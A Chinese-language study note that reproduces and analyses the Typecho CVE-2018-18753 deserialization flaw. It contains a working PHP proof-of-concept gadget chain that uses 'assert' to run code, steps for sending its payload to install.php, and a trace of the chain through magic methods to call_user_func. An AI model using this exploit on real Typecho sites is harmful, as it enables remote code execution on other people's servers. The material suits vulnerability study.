目录
漏洞 CVE-2018-18753
Typecho是一款开源博客程序,曾前台install.php中存在反序列化漏洞。可以被注入反序列化字符而实现PHP的任意代码执行。
影响版本:Typecho1.0-14.10.10
一、漏洞环境
1、Typecho版本下载
https://github.com/typecho/typecho/releases/tag/v1.0-14.10.10-release
2、创建一个数据库typecho(其他创库方法也可以)
3、下载好的Typecho在PHPstudy运行
4、点击下一步后其他配置默认,剩下的自行填空完成安装
若没有创建数据库typecho,此步骤会安装失败。
二、漏洞复现步骤
1、在网上找一个poc代码,运行获得生成值
代码如下:
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'phpinfo()'; //替换phpinfo()这里进行深度利用
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
2、使用网页的工具HacBbar,输入地址写入参数
- 地址: localhost/typecho/install.php?finish= HTTP/1.1
- unserialize()的传参:__typecho_config=
- POST传入参数:上面poc代码的生成值
3、点击执行即可实现phpinfo(),意味着可以执行任何命令,如popen();system()
三、漏洞分析
1、 在install.php找到unserialize()以及参数,下面跟踪相关方法获取信息。
2、全局搜索方法Typecho_Cookie::get,发现形参$key是可以通过POST或Cookie传入的,这说明实参__typercho_config是可控的。
3、跟踪Typecho_Db,发现对象$adapterName被当作字符串使用(拼接),此行为会触发Magic方法__toString()。
当一个对象被当作字符串使用 ,会自动触发Magic方法__toString()
4、全局搜索__toString,下拉发现这里把$item['author']赋值给对象中的属性screenName(访问读取)。如果screenName是不可访问的会触发Magic方法__get()。
从不可访问的属性读取数据 ,会自动触发Magic方法__get()
5、全局搜索__get,发现并跟踪方法get()。
6、再跟踪方法_applyFilter()。
7、发现可以执行命令的敏感函数call_user_func()。
总结
找到unserialize()函数;验证_typecho_config参数可控;追踪对象$db发现了Magic方法并跟踪至敏感函数call_user_func()。
参考:CVE-2018-18753 Typecho 反序列化漏洞 分析复现
本文仅为学习途中的自用笔记,仅供参考